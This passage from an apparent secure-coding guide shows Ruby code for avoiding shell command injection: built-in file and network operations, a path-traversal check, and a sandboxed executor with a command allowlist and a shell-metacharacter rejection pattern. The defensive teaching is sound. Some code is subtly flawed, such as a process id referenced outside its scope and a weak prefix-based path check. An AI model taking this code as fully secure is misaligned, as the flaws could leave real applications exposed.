    unless File.exist?(dest_path) && File.size(source_path) == File.size(dest_path)
      raise RuntimeError, "File copy verification failed"
    end
    
    dest_path
  end
  
  # File analysis using Ruby's File class instead of system file command
  def self.analyze_file_safe(filename)
    validate_filename(filename)
    
    file_path = safe_path('/app/uploads', filename)
    raise ArgumentError, "File not found" unless File.exist?(file_path)
    
    # Use Ruby's built-in file methods
    stat = File.stat(file_path)
    
    {
      filename: File.basename(file_path),
      size: stat.size,
      size_human: humanize_bytes(stat.size),
      permissions: sprintf("%o", stat.mode)[-4..-1],
      owner: stat.uid,
      group: stat.gid,
      created: stat.ctime.iso8601,
      modified: stat.mtime.iso8601,
      accessed: stat.atime.iso8601,
      mime_type: guess_mime_type(file_path),
      md5_hash: calculate_file_hash(file_path, 'md5'),
      sha256_hash: calculate_file_hash(file_path, 'sha256')
    }
  end
  
  # Network operations using Ruby's Net::HTTP instead of curl/wget
  def self.download_file_safe(url, filename)
    # Validate URL
    uri = URI.parse(url)
    raise ArgumentError, "Invalid URL scheme" unless ['http', 'https'].include?(uri.scheme)
    raise ArgumentError, "Invalid hostname" unless valid_hostname?(uri.host)
    
    validate_filename(filename)
    
    output_path = safe_path('/app/downloads', filename)
    
    # Use Ruby's Net::HTTP instead of system wget/curl
    Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|
      http.request_get(uri.path || '/') do |response|
        raise RuntimeError, "HTTP error: #{response.code}" unless response.code == '200'
        
        # Check content length
        content_length = response['content-length']
        if content_length && content_length.to_i > 100 * 1024 * 1024 # 100MB limit
          raise RuntimeError, "File too large: #{content_length} bytes"
        end
        
        File.open(output_path, 'wb') do |file|
          response.read_body do |chunk|
            file.write(chunk)
            
            # Check file size while writing
            if file.size > 100 * 1024 * 1024
              file.close
              File.delete(output_path)
              raise RuntimeError, "Download size limit exceeded"
            end
          end
        end
      end
    end
    
    output_path
  end
  
  # Compression using Ruby's Zlib instead of system gzip
  def self.compress_file_safe(filename)
    validate_filename(filename)
    
    input_path = safe_path('/app/uploads', filename)
    output_path = safe_path('/app/compressed', "#{filename}.gz")
    
    raise ArgumentError, "Input file not found" unless File.exist?(input_path)
    
    # Use Ruby's Zlib for compression
    Zlib::GzipWriter.open(output_path) do |gz|
      File.open(input_path, 'rb') do |input|
        while chunk = input.read(8192)
          gz.write(chunk)
        end
      end
    end
    
    output_path
  end
  
  # Directory listing using Ruby's Dir instead of system ls
  def self.list_directory_safe(dirname)
    # Validate directory name
    raise ArgumentError, "Invalid directory name" unless dirname.match?(/\A[a-zA-Z0-9._-]+\z/)
    
    dir_path = safe_path('/app/data', dirname)
    raise ArgumentError, "Directory not found" unless Dir.exist?(dir_path)
    
    # Use Ruby's Dir class instead of system ls
    entries = Dir.entries(dir_path).reject { |entry| entry.start_with?('.') }
    
    entries.map do |entry|
      entry_path = File.join(dir_path, entry)
      stat = File.stat(entry_path)
      
      {
        name: entry,
        type: File.directory?(entry_path) ? 'directory' : 'file',
        size: stat.size,
        modified: stat.mtime.iso8601,
        permissions: sprintf("%o", stat.mode)[-4..-1]
      }
    end
  end
  
  # Text processing using Ruby instead of system grep/awk
  def self.search_in_file_safe(filename, pattern)
    validate_filename(filename)
    
    # Validate search pattern
    raise ArgumentError, "Search pattern too long" if pattern.length > 1000
    raise ArgumentError, "Invalid search pattern" unless pattern.match?(/\A[a-zA-Z0-9\s._-]+\z/)
    
    file_path = safe_path('/app/data', filename)
    raise ArgumentError, "File not found" unless File.exist?(file_path)
    
    results = []
    line_number = 0
    
    # Use Ruby's file reading instead of system grep
    File.foreach(file_path) do |line|
      line_number += 1
      
      if line.include?(pattern)
        results << {
          line_number: line_number,
          content: line.strip,
          match_position: line.index(pattern)
        }
      end
      
      # Prevent memory exhaustion
      break if results.length > 1000
    end
    
    results
  end
  
  private
  
  def self.validate_filename(filename)
    errors = InputValidator.validate_filename(filename)
    raise ArgumentError, errors.join(", ") unless errors.empty?
  end
  
  def self.valid_hostname?(hostname)
    return false if hostname.nil? || hostname.empty?
    hostname.match?(/\A[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*\z/)
  end
  
  def self.safe_path(base_dir, filename)
    path = File.join(base_dir, filename)
    real_path = File.realpath(File.dirname(path))
    real_base = File.realpath(base_dir)
    
    unless real_path.start_with?(real_base)
      raise SecurityError, "Path traversal detected: #{filename}"
    end
    
    path
  end
  
  def self.humanize_bytes(bytes)
    units = %w[B KB MB GB TB]
    size = bytes.to_f
    unit_index = 0
    
    while size >= 1024 && unit_index < units.length - 1
      size /= 1024
      unit_index += 1
    end
    
    "%.2f #{units[unit_index]}" % size
  end
  
  def self.guess_mime_type(file_path)
    # Simple MIME type guessing based on extension
    extension = File.extname(file_path).downcase
    
    mime_types = {
      '.txt' => 'text/plain',
      '.json' => 'application/json',
      '.xml' => 'application/xml',
      '.csv' => 'text/csv',
      '.jpg' => 'image/jpeg',
      '.jpeg' => 'image/jpeg',
      '.png' => 'image/png',
      '.gif' => 'image/gif',
      '.pdf' => 'application/pdf'
    }
    
    mime_types[extension] || 'application/octet-stream'
  end
  
  def self.calculate_file_hash(file_path, algorithm)
    digest_class = case algorithm.downcase
                   when 'md5' then Digest::MD5
                   when 'sha256' then Digest::SHA256
                   else raise ArgumentError, "Unsupported hash algorithm: #{algorithm}"
                   end
    
    digest = digest_class.new
    
    File.open(file_path, 'rb') do |file|
      while chunk = file.read(8192)
        digest.update(chunk)
      end
    end
    
    digest.hexdigest
  end
end

# Usage examples:
# SecureOperations.copy_file_safe('document.pdf', 'document_backup.pdf')
# SecureOperations.analyze_file_safe('data.csv')
# SecureOperations.download_file_safe('https://example.com/file.txt', 'downloaded.txt')
4

Implement Process Sandboxing and Resource Limits

When system command execution is unavoidable, implement comprehensive process sandboxing with resource limits, timeout controls, and restricted execution environments. Use Ruby's process control features, set environment restrictions, and monitor resource usage to minimize the impact of potential attacks.

View implementation – RUBY
require 'timeout'
require 'tempfile'
require 'fileutils'

# SECURE: Sandboxed process execution with comprehensive security controls
class SandboxedExecutor
  DEFAULT_TIMEOUT = 30 # seconds
  MAX_OUTPUT_SIZE = 10 * 1024 * 1024 # 10MB
  MAX_MEMORY_USAGE = 128 * 1024 * 1024 # 128MB
  
  # Allowlist of permitted commands
  ALLOWED_COMMANDS = %w[
    ping ls cat grep find file du df
    tar gzip gunzip convert identify
    ffmpeg ffprobe
  ].freeze
  
  def initialize(options = {})
    @timeout = options[:timeout] || DEFAULT_TIMEOUT
    @max_output_size = options[:max_output_size] || MAX_OUTPUT_SIZE
    @working_dir = options[:working_dir] || create_sandbox_directory
    @restricted_env = create_restricted_environment
  end
  
  def execute_command(command, args = [], options = {})
    # Validate command is allowed
    raise SecurityError, "Command not allowed: #{command}" unless ALLOWED_COMMANDS.include?(command)
    
    # Validate arguments
    validated_args = validate_arguments(args)
    
    # Build full command array
    full_command = [command] + validated_args
    
    # Execute with comprehensive monitoring
    execute_with_monitoring(full_command, options)
  ensure
    cleanup_sandbox
  end
  
  private
  
  def validate_arguments(args)
    validated = []
    
    args.each do |arg|
      # Basic type check
      raise ArgumentError, "Arguments must be strings" unless arg.is_a?(String)
      
      # Length limit
      raise ArgumentError, "Argument too long" if arg.length > 1000
      
      # Character validation - no control characters
      raise ArgumentError, "Argument contains invalid characters" if arg.match?(/[\x00-\x1f\x7f]/)
      
      # No shell metacharacters
      raise SecurityError, "Argument contains shell metacharacters" if arg.match?(/[;&|`$(){}\[\]<>"'\\]/)
      
      validated << arg
    end
    
    validated
  end
  
  def execute_with_monitoring(command, options)
    result = {
      stdout: '',
      stderr: '',
      exit_code: -1,
      success: false,
      execution_time: 0,
      terminated_by_timeout: false,
      terminated_by_limits: false
    }
    
    start_time = Time.now
    
    begin
      Timeout::timeout(@timeout) do
        # Create pipes for communication
        stdout_r, stdout_w = IO.pipe
        stderr_r, stderr_w = IO.pipe
        
        # Spawn process with restricted environment
        pid = Process.spawn(
          @restricted_env,
          *command,
          chdir: @working_dir,
          out: stdout_w,
          err: stderr_w,
          close_others: true,
          pgroup: true # Create process group for easier cleanup
        )
        
        # Close write ends of pipes
        stdout_w.close
        stderr_w.close
        
        # Monitor process with resource limits
        stdout_thread = Thread.new { read_with_limits(stdout_r) }
        stderr_thread = Thread.new { read_with_limits(stderr_r) }
        
        # Wait for process completion while monitoring resources
        _, status = Process.wait2(pid)
        
        result[:stdout] = stdout_thread.value
        result[:stderr] = stderr_thread.value
        result[:exit_code] = status.exitstatus
        result[:success] = status.success?
        
      end
    rescue Timeout::Error
      # Timeout exceeded - kill process group
      begin
        Process.kill('TERM', -pid) if pid
        sleep(1)
        Process.kill('KILL', -pid) if pid
      rescue Errno::ESRCH
        # Process already dead
      end
      
      result[:terminated_by_timeout] = true
      result[:stderr] = "Process terminated due to timeout (#{@timeout}s)"
      
    rescue StandardError => e
      result[:stderr] = "Execution error: #{e.message}"
      
    ensure
      result[:execution_time] = Time.now - start_time
    end
    
    result
  end
  
  def read_with_limits(io)
    output = ''
    
    while line = io.gets
      output << line
      
      # Check output size limit
      if output.length > @max_output_size
        output << "\n[OUTPUT TRUNCATED - SIZE LIMIT EXCEEDED]\n"
        break
      end
    end
    
    output
  rescue IOError
    output
  ensure
    io.close
  end
  
  def create_sandbox_directory
    # Create temporary sandbox directory
    sandbox_base = '/tmp/ruby_sandbox'
    FileUtils.mkdir_p(sandbox_base) unless Dir.exist?(sandbox_base)
    
    sandbox_name = "sandbox_#{Process.pid}_#{Time.now.to_i}_#{Random.rand(1000)}"
    sandbox_path = File.join(sandbox_base, sandbox_name)
    
    FileUtils.mkdir_p(sandbox_path)
    
    # Set restrictive permissions
    File.chmod(0700, sandbox_path)
    
    sandbox_path
  end
  
  def create_restricted_environment
    {
      'PATH' => '/usr/bin:/bin:/usr/local/bin',
      'HOME' => @working_dir,
      'TMPDIR' => @working_dir,
      'USER' => 'sandbox',
      'SHELL' => '/bin/sh',
      'LANG' => 'C',
      'LC_ALL' => 'C'
    }
  end
  
  def cleanup_sandbox
    return unless @working_dir && Dir.exist?(@working_dir)
    
    begin
      # Recursively remove sandbox directory
      FileUtils.remove_entry_secure(@working_dir)
    rescue StandardError => e
      # Log cleanup failure but don't raise
      warn "Failed to cleanup sandbox directory #{@working_dir}: #{e.message}"
    end
  end
end

# Secure wrapper for common operations
class SecureCommandOperations
  def self.ping_host(hostname, count = 1)
    # Validate hostname
    errors = InputValidator.validate_hostname(hostname)
    raise ArgumentError, errors.join(", ") unless errors.empty?
    
    # Validate count
    count_errors = InputValidator.validate_integer(count, min: 1, max: 10)
    raise ArgumentError, count_errors.join(", ") unless count_errors.empty?
    
    executor = SandboxedExecutor.new(timeout: 15)
    result = executor.execute_command('ping', ['-c', count.to_s, '-W', '5', hostname])
    
    {
      success: result[:success],
      output: result[:stdout],
      error: result[:stderr],
      execution_time: result[:execution_time]
    }
  end
  
  def self.get_file_info(filename)
    # Validate filename
    errors = InputValidator.validate_filename(filename)
    raise ArgumentError, errors.join(", ") unless errors.empty?
    
    safe_path = File.join('/app/uploads', filename)
    raise ArgumentError, "File not found" unless File.exist?(safe_path)
    
    executor = SandboxedExecutor.new(timeout: 10)
    result = executor.execute_command('file', ['--mime-type', '--brief', safe_path])
    
    {
      success: result[:success],
      mime_type: result[:stdout].strip,
      error: result[:stderr],
      execution_time: result[:execution_time]
    }
  end
  
  def self.compress_directory(dirname)
    # Validate directory name
    raise ArgumentError, "Invalid directory name" unless dirname.match?(/\A[a-zA-Z0-9._-]+\z/)
    
    source_dir = File.join('/app/data', dirname)
    raise ArgumentError, "Directory not found" unless Dir.exist?(source_dir)
    
    output_file = "#{dirname}_#{Time.now.to_i}.tar.gz"
    output_path = File.join('/app/compressed', output_file)
    
    executor = SandboxedExecutor.new(timeout: 120) # Longer timeout for compression
    result = executor.execute_command('tar', [
      '-czf', output_path,
      '-C', File.dirname(source_dir),
      File.basename(source_dir)
    ])
    
    {
      success: result[:success],
      output_file: result[:success] ? output_file : nil,
      error: result[:stderr],
      execution_time: result[:execution_time]
    }
  end
end

# Usage examples with error handling
begin
  result = SecureCommandOperations.ping_host('google.com', 3)
  puts "Ping #{result[:success] ? 'successful' : 'failed'}"
  puts result[:output] if result[:success]
  puts result[:error] unless result[:error].empty?
rescue ArgumentError => e
  puts "Validation error: #{e.message}"
rescue SecurityError => e
  puts "Security error: #{e.message}"
rescue StandardError => e
  puts "Execution error: #{e.message}"
end

Detect This Vulnerability in Your Code

Sourcery automatically identifies ruby shell command injection and many other security issues in your codebase.